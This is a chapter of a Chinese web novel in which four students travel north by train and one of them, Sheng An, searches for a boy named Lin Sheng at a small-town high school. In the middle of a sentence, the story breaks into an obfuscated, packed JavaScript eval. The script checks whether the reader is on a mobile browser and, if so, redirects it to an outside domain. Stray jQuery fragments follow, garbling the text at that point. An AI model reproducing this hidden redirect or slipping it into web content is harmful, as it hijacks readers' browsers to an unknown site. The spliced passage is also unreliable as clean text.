30.到达

作品:《姐你睡了吗

    盛安静静地看着面前的扑克牌,她的脸上流露出难得一见怔然和脆弱的神色,仿佛陷入了回忆之中。


    火车穿过黑夜,穿过风雪,穿过平原,穿过松柏,如时间一般,滚滚向前。


    如果时间能跟车轮一样,有机会后退,该多好……


    薛嘉铭再也遮不住他的目光。狭窄空间里她的脆弱,激发了他的勇气。


    “十七岁。”盛安淡淡地说。


    薛嘉铭按住如鼓的心跳,他一向温和的语气中竟难得带了一丝强硬和波动:“我问的是,第一次,具体是什么时候?”


    韩佳子被吓了一跳,下意识去碰男友的目光,却见陈斌正转头看着薛嘉铭,而薛嘉铭的目光几乎胶着在盛安脸上。


    盛安没有看任何人,她存在于自己的世界。


    韩佳子说过,玩真心话就必须说真的,否则就会拿不到毕业证、永远找不到好工作。真狠,跟她十七岁那年一样。


    “十七岁生日过完的第七天,我出院回家的那个晚上。”


    她的声音很平静。


    韩佳子的脑海中闪过初中时代风靡班级的青春伤痛小说,好奇心在她心里无限蔓延。如果现在能喝点酒就好了……她想。


    四人之中,只有盛安来自离异家庭,这一点他们都心知肚明。大学女生宿舍睡前聊天是常有的事。韩佳子天性活泼,盛安对此并无所谓,一来二去对方家里情况彼此都有了大概的了解。而韩佳子了解多少,薛嘉铭就从她男友口中了解到了多少,三人因为盛安变成了一个更加紧密的小团体。他们私下都说,盛安清冷的性格,一定是离异家庭导致的。新闻媒体最喜欢渲染,原生家庭不幸福的人,要么缺爱,要么恐爱。


    韩佳子用手指一下一下梳着自己的头发。她对男友眨了眨眼睛:“我们继续?”


    很快,第二副牌也打完了。盛安抽到了一个小王,凑出了七张连牌。她神情专注,打得非常认真,再次赢得了倒数第一。这次是陈斌第一。


    盛安被自己逗笑了。


    还是选择真心话。


    陈斌清楚女友心里在想什么。


    “十七岁你出院回到家,发生了什么事让你突然开始抽烟了?”


    盛安一动不动,像一座小小的艺术品雕塑。她沉默了片刻,终是说道:“因为我做错了事,说错了话,伤害到了人。借烟,试图幼稚地,逃避。”


    说完,她竟微不可见地自嘲般笑了一下。


    夜晚的车厢很安静。上车的时候已快十一点,许多人一上车就睡了。盛安的声音也很轻,很静,像一个小小的女孩躲在阁楼里,跟白鸽说着悄悄话。


    他们后来又打了一轮。因为不想影响隔壁车厢睡觉,他们第三轮打得很沉默。盛安进步显著,她牌技不好是因为平日里不怎么接触,两轮后她大概摸清了规则,勉强晋升成倒数第二。另外三人也有些各怀心事,便说白日在伊春徒步了一整天,困了,早点睡吧。


    第二天,凌晨五点四十二分,一辆绿色的火车平稳地驶入黑白天地之间一个小小的站台。天还没亮,站台灰蒙蒙的,像一个怀念过去的老人,有着陈旧的气息和厚重的灵魂。桦城站下车的人不多,裹着大袄,蜷着双臂,或背着包或抓着行李箱,在黑夜中呼出雾蒙一般的白气,影子一般走向出站口。


    这里面有四个年轻人,帽子手套围巾羽绒服雪地靴,全副武装,只露出一双眼睛。他们拉着行李箱,像四个游魂,站在与他们青春气息格格不入的车站里。在他们的四周,有黑色的铁轨、绿色的声障屏、低矮的平房、稀疏的白杨树、寒如刀割一般的冷冽空气。站台的时钟还是老式的钟表,一格一格地走。一切都像九十年代的老电影,一部描写北方冬日的纪录片。


    在站台遮不住的地方,在伸手触不到的黑色天空里,有东西从天而降,泼洒在这萧条寂寞的人间。


    是雪。


    盛安抬眸,一颗硕大的雪花落进了她的眼睛,濡湿了她的视觉。她一眨不眨,仿佛没有触感。


    薛嘉铭借着车站灯光看她。她比他矮半个头,从他的角度,她羽睫纤长,眼神迷离又孤独。


    旅程才刚开始,薛嘉铭想,计划里有泡汤,也有围炉喝酒。他那么渴望想要弄清关于她的一切。


    四人打车去市中心的洗浴旅馆。这是韩佳子安排的,她从小旅游的多,对行程安排很有自己的一套。因为提前跟前台联系过,补了半天的房费,因此一到便能入住。韩佳子跟陈斌一间大床房,薛嘉铭一间单人间,盛安一间单人间。下单的时候韩佳子问过盛安是否要住到亲戚家里,盛安说,不必。


    她在寝室时就告诉了韩佳子,她是来看望一位远房亲戚的,逗留的时间不确定,并不想耽误他们旅行。韩佳子说无所谓,他们在桦城可以分开旅行,如果盛安要待的久,她就跟陈斌先去哈尔滨玩。


    韩佳子跟陈斌一进房间就补回笼觉去了,车厢里空间狭小,实在是没睡好。


    薛嘉铭的房间跟盛安在同一层。


    “盛安。”薛嘉铭站在房间门口看她,“你现在就要出门吗?才七点,天都还没亮。”


    盛安点了点头。她已经把行李箱推进了房间,外衣鞋子帽子手套都没换,抓起小圆桌上的折叠伞。


    薛嘉铭犹豫了一下,说:“你亲戚不来接你吗?”


    盛安已经走到电梯口:“我去找他。”


    薛嘉铭追了上去:“天还暗着,你一个女生小心点,这里治安肯定没有我们那里好。你,有事随时打我电话。”


    叮咚——电梯门开了。盛安面朝薛嘉铭,挥了挥手上的伞。


    “师傅——”盛安撑着伞对旅馆门口的出租车司机挥手,白气弥漫在黑夜中,“去天北高中!”


    虽然这里天寒地冻,但大学比高中寒假放得早。盛安提前查过,天北高中要到下周才会放假,他高三了,应该会放得更晚。今天周五,现在这个点应该是家里到学校上学的路上,或者已经在学校里早读了。


    出租车安安稳稳地碾过地上的雪。天是黑的,盛安看不清车窗外的桦城。只觉得很安静,店铺基本都关着,没有特大城市彻夜不眠的霓虹灯。天地无限大,人形单影只。她在玻璃窗的反射中,看见自己的眼睛,听见了自己的心跳。


    师傅有一搭没一搭地跟她说话。


    “南方来的吧,一看身型就看出来了。来这里看雪的?”


    “现在这雪不算大,只能算一般。天气预报看过吧,今个白天天晴,明后天要降大雪。我们这里的雪,厚,质感好,你们南方人最喜欢,我们干出租的就难咯。”


    “天北高中可以的,我们这里算好的了。不过这里高中也没多少个,家里有条件的都送大城市上学去了,有条件的父母派一个陪读,毕竟这里的教学质量跟大城市那没得比。”


    不到二十分钟,车子到了校门口。一个看过去很朴实无华的高中。


    天际边流露出一丝日光,有两个学生挤在一起迎着风雪走进校门口。盛安看了看表,时间刚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351273|181704||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过七点半。当她是高三生时,这个点,她已经起床学了两个小时了。她想,她是不是,到晚了。


    她的高三究竟是怎么过的,如今回想起来,竟毫无记忆了。只觉得时间又长又短。长时仿佛一秒如年,痛苦难捱。短时又像风吹书页,翻得飞快。


    她站在校门口边上,撑着伞,等,雪花不停飘落在她的伞上。她随手带的是当时最流行的彩虹伞,伞把一转,雪花像屋檐下的雨,珠帘似地盘旋落下。


    再也没有人进校了。


    校园内其中一栋教学楼里,白色灯光通明。


    高三啊,是无所谓白天与黑夜,盛夏与寒冬的一年。


    盛安走到校门口的保安室,轻轻敲了一下玻璃移门小窗。


    “您好,能帮我联系下一个叫林生的学生吗?高三的。”


    保安大叔已经注意她很久了,问:“预约过了没?”


    盛安摇了摇头。


    “高三几几班的?班主任叫什么?”


    “不知道,您能帮我查查么?”


    “哪个班的都不知道?”保安怀疑地看她一眼,“你是这个学生什么人啊?”


    盛安心想,是啊,她是他什么人呢。他们加起来在一起的时间都没有超过一周。


    她说:“姐姐。”


    保安:“亲姐?亲姐不知道他在几班啊?诶——”


    “表的。”盛安目光盈盈,借着保安室里的灯光露出祈求可怜的表情,声音温柔至极,“我们有段时间没联系了,我今天特意来看他一下。您能帮我联系一下吗,我通个话就行。”


    保安大叔一下子哑巴了,摸了摸鼻子,喃喃道:“行吧行吧,你等着。”


    盛安看见他手里翻着一本本子,把电话话筒夹耳朵里。她很耐心,只是天太冷了,尽管她穿得严严实实,寒风还是从各个方向无孔不入地刺进衣服织物的空隙里。她眼睛周边的皮肤,都没有知觉了。


    盛安双手抱臂,伞柄攥在手心里,继续等。


    她想过,如果他不愿意出来见自己,怎么办。


    也想过,四年了,还有看他的必要吗?


    不知过了多久。保安重新拉开了玻璃移门,叫她从旁边进来。


    “班主任叫你听个电话。”


    盛安接过话筒,她觉得自己好久没有这么紧张过了。她压低了声音回老师。


    “喂,林生表姐?”班主任声音听过去也有些疑惑,“既然他家里有人来,我们来沟通一下?这学期他已经迟到旷课了多次,按照学校规矩,这样下去是要被开除的。我也知道这孩子家里情况特殊,但他人也聪明,刚入学时表现也挺好的,高三是人生最关键最特殊的一年,荒废了实在太可惜。我们老师也不是万能的,这么多学生要管,关键时刻——对了,他今天还是没来上学,你能联系上他吗?我发他信息也不回 ——我马上要上课去了,要么我们中午沟通一下?”


    盛安挂了电话,半天没讲出话来。


    雪花在伞上又细密地编织了薄薄一层。


    盛安道过谢,走到路边,看着稀疏的车辆在白雪路上碾出一道道浅白色的胎痕。她把伞夹在臂里,腾出手点了一根烟。唇边烟圈刚起,就立刻被寒风吹散。


    一根烟抽完,她猛地想起来,她忘记问班主任他的电话号码了。


    白雪和黑夜的交界处已经燃起一道寂寥苍茫的蓝红色。天马上就该亮了。


    她朝路边招了招手。


    她还有一个地址。他的家。